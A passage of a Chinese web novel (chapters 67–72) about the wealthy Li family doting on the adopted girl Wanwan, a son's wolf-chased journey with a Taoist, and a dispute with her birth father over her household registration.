黎墨郢瞪了他一眼，把脸扭向窗外。 明明出门的时候硬着一颗心肠，头都没回去看一眼，可恶的孙隆非要提醒！ 望着不断倒退的树影，距离家的方向越来越远，黎墨郢只要想到小丫头哭得一把鼻涕一把泪的样子，心口就阵阵发堵。 也不知道刘妈和王妈那两个笨手笨脚的，能不能把她哄好？ 算了，那丫头没心没肺的，说不定有人陪她玩，就把自己给忘了！ 可是到底他们一起生活了那么久，他这么大的人都难以面对分别，她还那么小，肯定比他更难受。 她睡觉一向不老实，夜里乱翻也不知道会不会掉地上。 还有她从来没一个人睡觉，不知道夜里会不会怕黑…… 黎墨郢越想心里越烦躁，身上像是生了虱子，来回在座椅上翻腾。 孙隆本来想把车停下来，给他个反悔的机会。 未料就在他查看后视镜的时候，从山林里钻出了好几只野狼，撵着他们的吉普车，飞速的狂奔。 孙隆的眼珠子差点儿没吓得掉出来，眼看着野狼从几只变成一群，他把油门踩到底，紧张的声音都变了调。 “三少爷，您千万坐稳了，后头有狼在追咱们，一个弄不好，咱俩还没出港城就得把命交代了！” 第67章 三少爷，千万别答应 吉普车的引擎在乡下的路上发出嘶哑的轰鸣。 黎墨郢回头看了一眼，当即骂了句国粹。 “淦！还没出港城就遇见狼群，你选的是什么路线？” 黎墨郢毕竟是在家里被伺候惯了的贵少爷，遇见麻烦，习惯先找随从的不是。 孙隆也是一脸无辜，他一边要开车，一边还得给他解释。 “我也不知道啊，按道理，城里不该有狼群。” 话音刚落，车后斗的铁皮被什么东西重重的撞了一下，震得他握着方向盘的双手发麻，眼角余光里，狼群速度飙升，距离车子越来越近。 黎墨郢立刻锁紧车门，不再说话分散孙隆的注意力，只图他快点把狼群甩掉，或者开到有人的地方，才能搬到救兵。 “你往哪儿开？去市里！”黎墨郢发现孙隆的车越开越偏，气得额头的青筋直跳。 孙隆深吸了一口气，把车速提到最快，这才把狼群甩开一段距离。 “不能去市里，咱们本来就是出来历练的，这种事一旦牵连到无辜，都是咱们的孽障！”孙隆说着他的道理。 黎墨郢听得将信将疑，跟牛鼻子老道接触多了，就能发现他不是事事靠谱。 他更愿意相信是他找不到路，胡乱开的！ “你除了会跑，没有别的本事？就这样还说带我出来历练！”黎墨郢心里本来就有一团火，连带着此刻酝酿起来的，压不住的往外拱。 孙隆觉得自己就算有一百张嘴，都说不清。 “我不是跟你说过了吗三少爷？孙某修行的是风水术数，只对灵体管用，山林野兽咱们肉体凡胎的扛不住啊！” “我看你就是吹牛的一把好手！” “话不能这么说，孙某人游历多年，自认积累福报，山林野兽几乎就没找上过我，这次偏偏带了你，就被野狼找上了！” “几乎？那还不是被找上过，别往我头上扣屎盆子！” 孙隆撇了撇嘴：“就那唯一的一次，给你出主意取了凤凰血……” 说到这里，孙隆忽然醍醐灌顶！ “我知道了，一定是你没跟小小姐道别，惹她不高兴，天道替她惩罚你呢！” 黎墨郢：“……” “我的小小姐，我的小祖宗，您要是真想三少爷早点儿回去，快别给我们添堵。何况这车上还多坐着一个人呢，小的自从上次吸取教训，再也不敢找您惹您啦，我的祖宗喂，你要咒就咒他一个儿，千万不要牵连我孙某……”孙隆嘴里开始絮叨个没完。 黎墨郢气得脸色铁青，黑沉沉地睨着他。 “你再说一句，信不信我把你踹下去？” 孙隆：“……” 把嘴自动缝合。 好在的是，在他絮叨完不久，狼群竟然真的停下，并自发散去了。 孙隆把车开到了一个山岗上，确定四周安全，才松开方向盘，浑身虚脱的靠在座椅上。 黎墨郢坐在副驾驶，烦躁的捏着眉心。 忽然，右面的车窗被一只手叩响，黎墨郢转过头，看见一个年轻人站在车门外，向他投来求助的眼神。 正当他打算降下车窗，孙隆面色惊慌的按住他的手。 “别开窗！别理他！” 黎墨郢不耐烦的瞪眼：“你又怎么了！” 只见孙隆一脸的生无可恋，死死的压住他的手：“三少爷您动脑子想想，这荒郊野地哪来的人？分明是黄鼠狼讨封，开门就是惹麻烦！” 黎墨郢不信邪，手离开开窗按钮，直接打开了车门。 孙隆：“……” 完犊子啦！ 这个活祖宗！ 就在黎墨郢开门的瞬间，孙隆赶忙下车，从怀里拿出符纸，朝着年轻人的脸上贴去！ 结果还是晚了一步，年轻人抓住黎墨郢的胳膊，露出一排尖厉的牙齿，问了他一个问题：“你看我像神还是像佛？” 黎墨郢：“……” 什么鬼？ “三少爷，千万不要回答！”孙隆眼疾手快，上去一把抓住年轻人的胳膊，反擒拿把他按在了地上。 “好你个孽障，讨封讨到我头上，我看你是活得不耐烦！老夫现在就将你正法！” 说着，孙隆准备将符纸贴在年轻人的脸上。 下一秒！ ‘嗷呜’一声狼叫，生生让他的动作顿住！ 而他手下被按着的年轻人，比他还要无语。 “我靠！老子就是讨个封，他妈的怎么遇到你们两个衰神？” 说时迟那时快，孙隆松开手的同时，年轻人比他们的动作还快，直接就钻进车里，打死都不肯出来。 孙隆也顾不上许多，催促黎墨郢赶紧上车，他也坐进驾驶室，发动油门，赶在狼群围猎过来之前，火速开启了逃亡。 …… 黎家庄园。 小婉婉吃完了早饭，在佣人的照顾下，收拾得干净又利索，比跟在黎墨郢身边要精致不少。 虽然她没有第一时间等来黎墨黔，不过刘顺牵着一只金毛和一只边牧犬，还有训犬师先一步来到了院子里。 两只狗狗经过训犬师的专业训导，在人前更规矩了一些。 尤其是那只边牧犬，天生聪明伶俐，稍微训练一下，就发挥出了超常的表现。 “小小姐，这只狗叫蓝采和，能听懂咱们说话，你让它干什么，它就会干什么。”刘顺还是跟献宝一样，最先把边牧犬拉了过来。 小婉婉眨巴着大眼睛，看着黑白相间的大狗狗，而后抬起头问：“那我能摸摸它么？” “当呃……”然！ 刘顺的话还没说完，就见已经听懂指令的边牧直接躺在地上，翻开肚皮示好。 尤其是它的大尾巴，在地上扫来扫去，宛若被按下了兴奋的开关，在地上不停的哼唧，还慢慢的往她身边挪蹭。 任何一个人，见了它这幅讨好模样，都只觉得滑稽，包括小婉婉，感觉到边牧对她示好，她慢慢的伸出小手，最先放在它头顶，小手轻轻的扫过，边牧犬享受的眯起眼睛，大尾巴挥动得更开心了。 小婉婉露出了欣喜的笑儿，小手从它的被毛上抚过，边牧犬宛若一个活着的玩具，配合的趴在地上，随便她怎么褥都行。 “她好乖哦。”小婉婉开心的笑了起来。 然而就在她刚刚夸完的瞬间，边牧犬忽然一个轱辘起身，露出锋利的犬齿，喉咙里发出‘呜呜呜’的低吼。 第68章 讨好小人儿 就在边牧犬将要冲出去的瞬间，训犬师眼疾手快，一把抓住了它的项圈。 但让人抵挡不住它发出的狂吠，对着大门口，就是一阵“汪汪汪汪汪！”声浪震得人耳朵膜生疼。 “蓝采和，坐下！”训犬师发出指令。 边牧犬却仍然牟足了劲儿的往大门口挣扎，直到小婉婉看见躲躲闪闪的人影，欢喜的叫了声：“四哥哥！” 训犬师这才发现，原来是院子里来了陌生人。 “蓝采和，卧！” 小婉婉一溜烟的向大门口跑去，黎墨黔虽然被院子里的狗吓得直冒冷汗，但仍然抵不住见到小妹妹的雀跃之情，欢喜的伸开手。 “四哥哥！”小丫头一把扑到他怀里。 这样热情的迎接，让小男孩儿有点儿不好意思，抱住她的同时，轻轻的放开手。 “小妹，三哥让我过来陪你玩。” 提到说走就走的黎墨郢，小婉婉上一秒还雀跃的小脸儿，难免有些情绪外泄。 “三哥哥是坏蛋！是骗子！” 黎墨黔看着小丫头气鼓鼓的小样儿，知道她是在赌气。 虽然平时很怕黎墨郢，但那毕竟是自己的三哥，还是要替他说句好话。 “其实三哥就是舍不得你，才不打招呼走的。他特意去院子里找我，让我好好照顾你，这在黎家，可是谁都没有的待遇。” 嫉妒吗？ 不。 更多的是羡慕。 同样作为弟弟，黎墨黔也想被三哥哥这样守护，可惜，母亲的身份让他生来就不被重视，又何谈在乎？ “不气三哥了好不好？外面的坏人很多，他在外面也很辛苦。”黎墨黔蹲下来，按照黎墨郢的交代，小心安抚她的情绪。 小婉婉听了他的话，小鼻子皱了皱，眼看着就要泪珠滚落。 黎墨黔赶忙转移话题：“那两只狗怎么在你这儿，刚才可要吓死我了。” 小婉婉成功被转移了注意力，听见黎墨黔说害怕，她立刻化身为小勇士，拉住他的手。 “四哥哥不怕，大狗狗现在乖乖的，不咬我们。” 黎墨黔本身就喜欢狗，刚才只是被牧羊犬忽然露出的凶性吓了一跳，此时，有小婉婉带领，他便大胆走进了院子。 “蓝采和。”他准确的叫出了边牧犬的名字。 确切的说，黎家养的每一只狗，名字他都记得住。 只是因为平时它们都太凶悍，黎墨黔一直不敢跟它们亲近。 在看刚刚被训犬师教育过的边牧犬，听见黎墨黔叫它后，果断收起獠牙，露出一脸鬼迷日眼的笑，讨好的伸出两只前爪，伸了个大懒腰。 “呜呜。” “四哥哥，我没有骗你吧，大狗狗不咬人了。”小婉婉献宝似的说道。 黎墨黔点头，和小婉婉一起来到边牧犬身旁，蹲在地上抚摸它的背毛。 一瞬间得到了重视的边牧犬也就此暴露本性，在地上又是打滚翻开肚皮，又是在两个人的手心舔来舔去，简直将巴结演绎到了极致。 “它真乖。” 在听见黎墨黔刮奖过边牧犬后，这家伙更是把他按倒在了地上，大舌头的口水粘了他满脸都是。 小婉婉的目光则落在旁边的金毛犬身上，它今天并没有戴嘴套，只安静的坐在地上，如一尊守护神，静静等候着主人的命令。 “它叫韩湘子对吗？”小婉婉问刘顺。 “对，它叫韩湘子，是一只金毛巡回猎犬，三少爷钦点让它守护您的。”刘顺毕恭毕敬的回答。 小婉婉蹲了下来，小肉手慢慢的抚摸金毛犬头上的毛发。 罕见的，性格沉稳的狗狗也露出一脸享受的表情，后来大概是嫌她的力气太小，主动把狗头都塞进她怀里。 “咯咯咯。”小婉婉被狗狗的毛发弄得直痒痒。 不过她并不讨厌这种感觉，反而用手搂住了金毛犬的脖子，小脸儿跟它的鼻子贴在一起。 大金毛也非常识趣，感受到小婉婉对它的亲昵，它也躺了下来，露出白白的肚皮示好。 “好了，任务完成，接下来是另外的几只。”训犬师的额头出了茂密的汗，在没有胜任这份工作之前，他就被施加了很多压力。 不说工作能不能完成，光是讨眼前这个小小姐的一个笑儿，就搭上了他毕生绝学。 万一出现一点儿差错，黎家的两位老祖宗就得先拿他喂狗。 训犬师丧命狗嘴，那他这辈子等于白活。 …… 小婉婉和黎墨黔在院子里，跟两只大狗狗一玩就是一个上午。 不说浑身上下弄的都是泥巴，可跟干净也沾不上边儿。 中午的时候，黎墨黔要回去吃饭，小婉婉依依不舍的将人送走，守着两只狗狗也玩累了，刘妈和王妈带她去洗了澡，回到房间哄她午睡。 “三哥哥什么时候才回来呢？”小婉婉躺下的第一句话，还是记挂黎墨郢。 怎么能不记挂呢？ 小婉婉自从来到黎家，一起生活最久的就是黎墨郢，包括现在居住的院子都是他的。 但凡看见每一处，都会浮现过往相处的记忆。 还有黎墨郢给她买的那些好吃的，其实都是小婉婉给他挑选的。那么多，放了满满的房间，可是他都没有带走。 四哥哥说他赶路很辛苦，要是被大灰狼吃掉的话，就再也见不到他了。 小婉婉躺在枕头上，闻着熟悉的味道，悄悄的抹了把眼泪。 三哥哥说三十天就回来！ 可三十天是多久，在小婉婉朦胧的认知里，却像是无尽那么长。 “三哥哥……”小婉婉抱住旁边的枕头，眼泪还是不争气的流下。 一滴接着一滴，在上面晕开大朵大朵的水色花瓣儿，直到门外的金毛钱似乎察觉到了小主人的情绪，推开门，一股脑冲进来。 小婉婉偷偷抹泪被撞破，赶忙用小手擦拭。 金毛犬直接蹦上了床，湿润的鼻子带着微微凉意，金黄色的毛发也软得像晒过太阳的棉花，就那么直挺挺的霸占了黎墨郢的位置。 “呜呜。”像是深深的共鸣小主人的情绪，一边叹气，一边哄她。 小婉婉眨巴眨巴眼睛，瞬间，眼睛里的泪水收了回去。 奶声奶气的问：“韩湘子，你也在想念三哥哥吗？” 金毛犬的杏仁眼转了转，随即用鼻子拱了拱她的脸，确定她没再流泪，才将下巴放平，搭在爪子上，狗生无奈的呼了一口气。 第69章 永远活在自己的世界 潼南市。 童建洲在张南那里受了打击，去找了前妻出轨的朋友，用去他单位告发为理由，讹了对方三千块钱。 仿佛这样，就可以将遗失的自尊找回来。 拿着钱回来，童建洲决定在自家小区附近开一家小吃店，这两天就在寻找店铺。 可惜老大童亮之前受到惊吓，现在还精神恍惚的，只能在家养着。 老二童斌和老四童倩倩又都被狗咬伤，老三童飞要留在家里管他们，都无法给他帮忙。 童建洲一个人从早跑到晚，也没找到一家合适的门面。 眼看着天要黑了，童建洲决定先回去，明天再继续往远一点的地方看看。 童建洲刚来到小区口，自行车就被拦下了。 当他看见来人西装革履的打扮，以及最近常常在内地报纸上刊登的脸，双手用力捏住车闸，胸腔里翻滚的愤怒，让他产生了一种强烈的窒息感。 “童先生，您现在方不方便，跟我说几句话？”黎立轩声色儒雅的开口。 从他身上散发出的高档酒店生活用品的清香，钻进童建洲的鼻子里，反衬得他身上的汗泥味儿极重。 他脑海中瞬间就浮现，过去想跟张南亲热的时候，催促他先洗澡的嫌弃表情。 所以她就找了个满身都香的，精致到连头发都要抹头油。 呵！ 童建洲燃烧着滚烫的嫉妒，恶声恶气的回道：“我跟你没什么好说的！” 拒绝完，童建洲就要推着自行车进门。 黎立轩并没有生气，而是从容不迫的向前走了两步，继续说道：“我知道我的身份会让你不适，不该出现在你面前，但我过来是想给婉婉办理户口，她的年纪应该入学了，只要落了户，以后她就是港城人了。” 童建洲听他提到小婉婉，停下了脚步。 不过，却并不是对小婉婉有多关心，而是借着这个机会，嘲讽情敌。 “你黎家不是在港城有钱有势吗？在内地也是有名的慈善企业家，连一个小孩子的户口都搞不定？犯得着来求我？” 大老板又怎么样？ 大老板不也捡他玩烂的女人！ 还心甘情愿的帮他养孩子！ 这一瞬间，童建洲心里由自卑产生的阴暗和扭曲放大到了极致。 “要不你跪下给我磕个头，我就给你？”童建斌处在黑暗中的脸，露出阴森森的笑意。 黎立轩眉头微皱，如果不是他娶了张南，又抚养婉婉，童建洲这样的人，这辈子别说与他讲话，就连靠近他活动范围的机会都没有。 “我们都是成年人，还是成熟一些，我知道你的收入不高，可以给你一些经济作为补偿，让你的孩子们过的好些，阿南在港城也能安心。” 说着，黎立轩直接从口袋里拿出一张支票，同时，递上了一支名牌钢笔。 “需要多少，你自己写。” “你说什么？”童建洲看都没看那张支票，气急败坏的上前就要动粗揪黎立轩的衣领。 下一秒，跟在黎立轩后面的保镖上前，将他拦在安全距离之外。 童建洲暴躁的跳脚：“黎立轩，你他妈拿我当什么？告诉你，老子才不稀罕你的臭钱，给我有多远滚多远，孩子的户口，我打死都不会给你！” 黎立轩却不急不缓，给他讲道理：“冲动不是解决问题的办法，你还是多为婉婉考虑。” “她是我生下来的，我是她亲生父亲！别说没学上，我就算掐死她，轮不到你这个便宜爹当好人！” 童建洲吵架的时候，向来口不择言，否则也不会硬是把家给吵散了。 黎立轩自己被他针对、刁难，尚且还可以忍受。 直到童建洲听他口口声声说要掐死小婉婉，顿时，谦润的面孔覆盖上了冰霜。 “穷人的骨气总是比蟑螂还顽强，我本想跟你好好谈，既然如此，我也只能用我的方式照顾婉婉。至于你，不仅做丈夫不合格，作为父亲，你的孩子们真可怜。” 黎立轩坐回轿车里，命令司机：“开车。” “你别走，有本事把话在说一遍！”童建洲想要追上去理论，却被保镖拦住，眼睁睁的看着车身远去。 …… “童建洲给钱都不行？哼，他本事不大，骨气倒是挺硬！” 黎老爷让黎立轩去找张南的前夫给小婉婉办理户口，这两天都在守着电话等消息。 当从黎立轩口中得知，童建洲不肯给户口，还大言不惭的以亲生父亲自诩，说要掐死婉婉，当时火冒三丈。 “他能说出这番畜生言论，说明他没有什么德行，怪不得养出另几个心肠歹毒的子女！那就不要管他答不答应，你赶紧想别的办法，三天之内，我必须给婉婉落户口。” “好，我这就看看有没有可用的人，一定在三天内办妥。”黎立轩也气得不轻，当即做出保证。 黎老爷挂断了电话，黎老夫人也听得一肚子火。 “他的子女们之前欺负婉婉，我们还没找他算账，他这人怎么如此不知好歹？” 黎老爷子轻蔑的哼道：“他样的人多了去了，永远活在自己的世界，把别人当成附属品，摆不正自己的位置，殊不知这才是可悲！” “就是，婉婉这么乖的孩子他都不疼，是他没福气，咱们跟他不一样！” 黎老夫人提起小孙女儿，作势起身，就要去黎墨郢的院子里看一眼。 黎老爷不满的抱怨：“阿郢既然跟孙师傅出门，你为何不干脆把她接过来住？” “你以为我不想？小婉婉习惯了在阿郢那里，非要等着他回来！我总不能强行把她接过来，不问她的意见！”黎老夫人又何尝不是一肚子委屈。 小孙女儿刚来港城的时候，明明跟自己最亲，每天阿奶前阿奶后的绕在自己身前，哄得她容光焕发的。 后来那些臭小子们，一个接着一个都跟她抢人，黎墨郢更是仗着情况特殊，直接把人霸占了去！ “我不跟你说了，你要是有本事，你把婉婉带到你那儿去，我算你厉害！” 黎老爷子：“……” 黎老夫人说罢去了东院，眼看着到了大门口。 忽然，黎墨黔顶着一张哭红的花猫脸，狼狈的从院子跑出来。 在见到老夫人的一瞬间，‘扑通’跪了下去！ “阿奶救命啊，我妈她要把我打死！” 第70章 阿奶救我 黎老夫人被黎墨黔搞得一愣，还没来得及问他因为什么要挨打。 黎立轩的二姨太宋淼淼手抄着鸡毛掸子，几个箭步就冲了过来，“嗖”地一下，鸡毛掸子落在黎墨黔的屁股上。 “哎呦！”黎墨黔疼得跳起来，跑到老夫人身后躲着喊：“阿奶救我！” “你干什么呢这是，孩子犯了天大的错，你下这么狠的手打？”黎老夫人板起脸，虽然宋淼淼是大房儿媳的亲堂妹，可她对这个儿媳并没有多喜欢。 最主要的原因就是宋苗苗的脾气太冲，言行举止粗俗又鲁莽，完全没个大家闺秀的样子！ 眼下她站在这里，她宋淼淼还不知收敛，老夫人怎么能不生气？ “妈，您别拦着我，再有半个月就开学了，你问问这个小兔崽子，作业写完了没有！” 龙生龙，凤生凤，老鼠的孩子会打洞！ 同样是宋家嫁到黎家的女儿，宋珍珍的两个儿子都出类拔萃，黎墨郢更是才十三岁，就自学完了初中所有课程。 上次她回宋家去给大伯母过生日，整个宋家的人无一不夸奖堂姐的两个儿子，多么多么的优秀。 唯独对她的孩子只字不提，仿佛她生的是一团空气！ 宋淼淼一开始还有些生气，可是她每天盯着黎墨黔的表现，最后总结出了原因。 这个臭小子自己不争气，让别人夸他什么？ “我作业写完了，我妈非说我没写！”黎墨黔哭着替自己喊冤枉。 黎老夫人正要为他做主，却见宋淼淼身上气焰更高，绕着圈地追着他打。 “你个兔崽子还敢撒谎，看我今天不打断你的狗腿！” “哎呀……”黎老夫人腿脚慢，上前硬是没拦住，只能在原地着急的呼喊：“你快点给我住手，宋淼淼，你听见没有？” 好在宋淼淼还保存一些理智，听见老夫人的呼喊，她停下手，深深吸了口气。 “老夫人，你不知道这孩子，他全都是抄同学的作业，甚至抄人家的作文！他都知道把同学换成自己，就不知道把他爹名字换上！我怎么就生了个这么又蠢又笨的东西！” 黎老夫人嘴角一抖，想说臭小子确实该打。 可是看着黎墨黔像猴子一样被抽得嗷嗷叫，连个藏身的地方都没有，她又于心不忍。 “差不多就行了，你嫌弃你儿子笨，你又聪明到哪儿去？觉得孩子不好的时候，多从你自己身上找问题，我们黎家可没有笨蛋的基因！” 黎老夫人一说完，被打得哭咧咧的黎墨黔，更憋屈了。 他停下脚步，宁可挨抽了好几下，也要大声为自己申诉：“都是你把笨蛋基因遗传给我，你还好意思打我！” 宋淼淼这下更生气，揪住他耳朵，照着他屁股抽了下去。 “我笨我知道努力，可没像你一样偷奸耍滑，赶紧给我回去写作业，要是开学前写不完，我就让老师狠狠揍你！” 宋淼淼骂完还不解气，在黎墨黔的屁股上踹了一脚。 黎墨黔知道自己躲不过，哭咧咧的被她一路踢着往回走。 哭声渐渐远去，黎老夫人摇了摇头，想起小婉婉在院子里，怕宋淼淼那个夜叉吓到她，赶忙往院里快走。 好在，这里有刘妈和王妈照顾，在宋淼淼跑来发飙的时候，她们阻止未果，就将婉婉带回屋里，并捂住了她的耳朵，不让她听宋淼淼吵闹。 “阿奶，四哥哥的屁屁开花了吗？”小婉婉见到老夫人进来，第一时间跑过来关心黎墨黔。 黎老夫人正在气头上，抱起婉婉就说：“他屁股开花是他活该，谁让不好好写作业。” 小婉婉转瞬就联想到了自己，瞪着大眼睛，用手捂起了小屁股：“婉婉没有写作业，阿奶不打屁屁。” “不会，婉婉还没上学呢，不用写作业。”黎老夫人顿时被她天真的话儿给逗笑，捧着她的脸亲了一口。 心说还得是她的宝贝孙女儿，有她陪着，想不开心都不行！ 不过，老夫人笑了一会儿，很快就发小怀里的小家伙低着头，小嘴儿抿的郁郁寡欢的。 “怎么了婉婉，是不是让你二妈给吓着了？” “不是。”小婉婉晃了晃头，抬起眼睛问：“阿奶，哥哥们都上学，为什么婉婉不能去？” “婉婉想去上学了？” “嗯，因为上学就可以学数数。”小婉婉摆弄着老夫人的小手指，态度端正的点头。 只要学会数数，就可以知道三十天是多久…… 黎老夫人简直又惊又喜！ 她一手带大的几个孙子，都不爱去上学，唯独小婉婉主动要求去，老夫人怎么能不高兴？ 何况这是小婉婉第一次对她提要求，无论如何也得答应！ 老夫人当即拍着胸脯跟她保证：“婉婉别着急，等这两天你爸爸给你办好户口，咱们就去！” …… 一大清早。 童建洲给孩子们做饭，跟他们交代完要出门，房门却先被人叩响。 童建洲过去打开门，就见几个穿着便服的工作人员，有的手里拿着文件，有的拿着量尺，派头十足的站在门口。 童建洲先是愣了一下，随即感觉到来者不善，没好气的问：“你们找谁？” “这里是童建洲的家吧？”站在最前面的人推了推金丝框眼镜，一边问话，一边对着房子的布局打量起来。 童建洲下意识上前一步，挡住他的视线。 “我就是，你们找我有什么事？” 金丝眼镜男皮笑肉不笑：“是这样的，上一段人口普查，显示你和张南已经离婚了，你们最小的女儿童婉婉归她抚养，有这回事吧？” 童建洲咬紧腮帮，听到这话，便猜测这些人很有可能是黎立轩派来找麻烦的！ “你们是哪个部门的？这是我们的家事，轮不到你们管！” 金丝眼镜男直接收起笑容，不再跟他客气。 “我们是房管局的，你们的家事我们确实管不着，但你们这套房子归你和你前妻，现在她户口迁到了港城，住房待遇就得取消，所以你得尽快把这套房子腾出来，等着我们重新按人头分配。” “什么？”童建洲没想到离个婚，房子还会被回收！ 他还是觉得是黎立轩在搞鬼，对此提出质疑：“国家有这个政策吗？空口白话说的我不信！” 金丝眼镜男早有准备，将文件拍到他手里：“文件上白纸黑字写着，禁止家庭单位谎报人口数量，多占多用住房资源，你自己看清楚！” 童建洲翻开文件，确实看到了相关的规定。 这下，他没话说了。 “那我们把房子腾出来后，多久能分到新住房？”童建洲瞬间萎靡了下来。 “这个……看情况吧，你一个下岗职工，在岗职工都得排队等，你得排后面。” 童建洲感觉头皮刷的一下，被冷空气贯透似的，浑身发凉。 “那我们这期间住哪？” “我们只负责收房子，你住哪不归我们管。” 童建洲：“……” 金丝眼镜男看着他苍白的面色，似有若无的勾了下嘴角，向前探了探身子，仅用他一个人听见的话低语：“你不用着急，黎先生说了，给你两天时间考虑，早点儿把孩子户口交出来，这房子你还能住。” 第71章 他还吃上醋了 黎立轩只是找人稍微出了个主意，就拿捏住了童建洲的七寸。 童建洲为了保住现在的房子，最后还是乖乖的交出了户口，再也硬气不起来了。 黎立轩成功拿到了户口，内地的工作还没收尾，怕交给别人办理不放心，于是让两个儿子先回了港城。 劳斯莱斯银刺座驾刚驶入港城，黎墨城就踩下了刹车。 他将小婉婉的户口交给黎墨冰，以兄长的姿态吩咐：“你现在就去办理落户手续，我先回去跟阿爷、阿奶报备，免得他们着急。” 黎墨冰那张妖艳别致的脸扭过来，狭长的桃花眸透着几分幽怨。 “大哥，你想先回去看婉婉就直说，何必找借口！” 黎墨城斜着凤眸，迸射出锐利的光，嗓音低沉了几个度。 “少废话，赶紧下去！这么点事如果都办不好，你就别回去了！” 黎墨冰眼看着被揭穿的黎墨城要恼羞成怒，不再跟他贫嘴，邪气的勾起唇角，打开副驾车门。 “大哥，到家记得帮我跟婉婉带个……”好。 黎墨冰的话还没说完，黎墨城就关上了车门，迫不及待的驾车呼啸而去。 黎墨冰讪讪的翻了个白眼，转而去路边拦截出租。 劳斯莱斯以一百码的速度冲刺，很快就到了山庄，黎墨城不断的按下喇叭，等到门卫开了大门，直接脚踩油门冲进行车道。 在出门的半个月里，沉重的工作压得人喘不过气。 也只有想起小婉婉的时候，心中的想念，像是被一条无形的线头牵扯。 每当那个时候，他都会闭上眼睛，回忆她奶声奶气喊他‘大哥哥’的模样。 每一次团聚，她都如小燕子般雀跃的朝他跑来，或者收到礼物时，大眼睛里浮动亮闪闪的光；有好吃的，她会跟他一起分享，也会依赖的靠在他怀里，听他讲故事；对他撒娇，夸他是全世界最好的哥哥。 就是一个可爱又粘人的小机灵鬼，弥补了黎墨城从小到大期盼拥有一个妹妹的遗憾。 妹妹多好？ 香香软软的会讨喜。 那些整天淘得满身臭汗味的弟弟们，随着他们越长大，黎墨城就有越多嫌弃！ 终于，他马不停蹄的赶到黎墨郢的东院，看见小丫头坐在摇摇马上，一边摇晃，一边甜甜的哼着歌儿，连带着后脑勺上的两只小麻花辫儿都泛着活泼雀跃，一瞬间，心头的想念就被填满。 他没有呼唤，而是轻轻的走过去。 窝里的睡觉鹦鹉所有察觉，扑打着翅膀在天上盘旋。 小婉婉仰起头，刚要开口说话，忽然，大眼睛就被一双手轻柔的蒙住了。 “猜猜我是谁？” 清澈又磁性的嗓音，泛着冗长的温柔，和他身上散发出干净的冷香一起，传了过来。 “大哥哥！”小婉婉立刻就猜到了是他，雀跃的拉住他的手，从摇摇马上下跳下来。 黎墨城蹲在地上，伸出手臂把她抱在怀里。 揉揉她的脸蛋，贴贴她的额头，胸口不断散发出愉悦的笑音。 怀里的小婉婉也被他胡茬蹭的不断发出“咯咯咯”的笑声，混合在一起，一高一低，一个低沉，一个明亮，宛若一段动听的乐曲。 “大哥哥，你终于回来了。” “对不起，让婉婉等久了是不是？” 黎老夫人听见声音，从房间里出来。 见到黎墨城便问道：“就你一个人回来了？婉婉的户口办好了没有？” 黎墨城的注意力全放在小婉婉身上，回来前他就听说了黎墨郢外出游历，正好给了他和婉婉相处的时间，心中自然喜悦。 是以，对老夫人的回答的有些敷衍：“我让黎墨冰去了。” 黎墨城抱着婉婉坐到了摇椅上，从怀里掏出了一个精致的八音盒，正好她的小手装得下。 小婉婉拿着八音盒，弄了半天也没找到开关，黎墨城便亲手一步一步的教，听见它响起轻快的音乐，小婉婉乐得露一排小白牙。 “原来是这样弄的。” “呵呵呵，真好玩。” 黎老夫人等了半天也没等到黎墨城的下文，且他回来就跑过来跟自己抢人，顿时看他有些不顺眼。 坐在旁边的凳子上，对他挑起了刺：“你就让阿冰一个人去办户口，万一出岔子怎么办？这么大的人了，做事能不能多用点心？” 黎墨城不语，只一味的从怀里掏玩具，左手一个，右手一个，把小婉婉给乐得小嘴儿都合不住了。 “我跟你说话呢！这人岁数越大，越来越目中无人，不懂得尊重长辈！还有你刚回来，那一身臭汗味儿别染到我们婉婉身上去。” 黎老夫人越说越起劲，隐约还有起了把婉婉抱走的念头，起身就要伸手。 黎墨城掀开眼皮，喟叹着叫了声：“阿奶。” 黎老夫人没有好气：“叫我做什么？” 黎墨城唇角浮动无奈的笑意：“是您之前亲口说，阿郢不在的时候，我可以带婉婉。” “那你也不能回来就抱着不松手？想一个人独占啊你？” “哎。”黎墨城故作惆怅的叹了口气：“阿奶现在有了婉婉，就开始看不惯我们了，如果换做以前，我出差回来，您都会关心我工作累不累，瘦了还是胖了，现在……只嫌弃我在您跟前碍眼。” 黎老夫人：“……” 二十郎当岁的男人，他还吃上醋了！ “我还没说你呢，以往你回来，哪次不是第一时间去看我，给我买东西，现在呢？我不光一根毛儿都捞不着，我孙女儿你还要跟我抢！有没有你这样孝顺长辈的？” 黎老夫人也觉得自己委屈，也把黎墨城给埋怨了一通。 她以为黎墨城怎么也该有点反思，没想到，他眼皮子都没抬，自顾自开口：“您不是经常说，我们的陪伴就是给你和阿爷最好的礼物，我和婉婉一块儿陪您，您还不高兴。” “好你个臭小子，去内陆久了，贫嘴的把式倒让你练成了！”黎老夫人好气又好笑的在他肩头锤了一下。 黎墨冰的动作也很快，在黎墨城回来两个小时不到，就带回了婉婉的户口簿。 虽然姓着黎家的姓氏，但并没有跟黎家人的放在一起，而是单独的一户。黎老爷为了操办这事，还特意在城中心买了套别墅，落在小婉婉的名下，送给她当做礼物。 “宝贝，你快过来瞧瞧。”黎老夫人从黎墨城怀里抱走小婉婉，指着户口上的名字，一个一个给她念：“黎、婉、婉。” 第72章 什么花里胡哨的东西 “黎、婉、婉？” 小婉婉牙牙学语的跟着念出来，而后她望着老夫人问：“阿奶，这是我的新名字吗？” “对！”黎老夫人忽然想起，改姓这件事都没有问过她的想法，就擅自决定，未免显得武断专行。 于是她用轻柔慈祥的口吻跟她商量：“婉婉，你看你原来那个臭爸爸，还有臭哥哥姐姐都欺负你，咱不要他们了好不好？以后你就是阿爷和阿奶的亲孙女儿，是你哥哥们的亲妹妹，跟我们是一家。” “好！”小婉婉在原来的家庭里，从出生就被忽略，哥哥姐姐们打骂，爸爸妈妈冷落，可以说几乎没有感受到过什么温暖。 但是在这里就不一样了。 阿爷、阿奶都很疼她，哥哥们也都陪她玩，给她买好多好吃的，好玩的，还有漂亮的花裙子。 尤其在原来的哥哥姐姐们欺负她的时候，他们都会保护自己。 她当然更喜欢现在的家人！ 老夫人听到她干脆的回答，看她小脑瓜点的像啄米一样，情不自禁的抱着她亲了好几口。 “你可真是阿奶的乖宝贝。” 黎墨冰也在旁边看着小丫头奶呼呼的脸蛋儿，不禁有些眼热，于是打着商量问：“阿奶，大哥回来都抱过婉婉了，能不能给我也抱一下？” 黎老夫人念在他顺利办理好了户口，没有小气，把小婉婉交给他。 